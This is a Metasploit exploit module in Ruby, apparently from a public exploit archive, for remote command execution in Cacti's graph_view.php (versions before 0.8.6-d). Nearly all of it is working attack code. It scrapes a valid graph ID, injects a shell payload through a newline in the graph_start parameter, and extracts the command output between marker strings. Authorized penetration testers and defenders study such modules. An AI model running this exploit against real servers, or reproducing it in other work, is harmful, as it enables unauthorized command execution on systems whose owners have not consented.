Cacti - 'graph_view.php' Remote Command Execution (Metasploit)

##
# $Id: cacti_graphimage_exec.rb 9671 2010-07-03 06:21:31Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cacti graph_view.php Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in the
				Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
				0.8.6-d are vulnerable.
			},
			'Author'         => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9671 $',
			'References'     =>
				[
					[ 'OSVDB', '17539' ],
					[ 'BID', '14042' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 15 2005',
			'DefaultTarget' => 0))

		register_options(
			[
				OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
			], self.class)
	end

	def exploit
		# Obtain a valid image ID
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
				{
					'action' => 'list'
				}
			}, 10)

		if (not res)
			print_error("The server gave no response")
			return
		end

		m = res.body.match(/local_graph_id=(.*?)&/)
		if (not m)
			print_error("Could not locate a valid image ID")
			return
		end

		# Trigger the command execution bug
		res = send_request_cgi({
			'uri'      => datastore['URI'],
			'vars_get' =>
				{
					'local_graph_id' => m[1],
					'graph_start'    => "\necho YYY;#{payload.encoded};echo YYY;echo\n"
				}
			}, 25)

		if (res)
			print_status("The server returned: #{res.code} #{res.message}")
			print("")

			m = res.body.match(/YYY(.*)YYY/)

			if (m)
				print_status("Command output from the server:")
				print(m[1])
			else
				print_status("This server may not be vulnerable")
			end

		else
			print_status("No response from the server")
		end
	end

end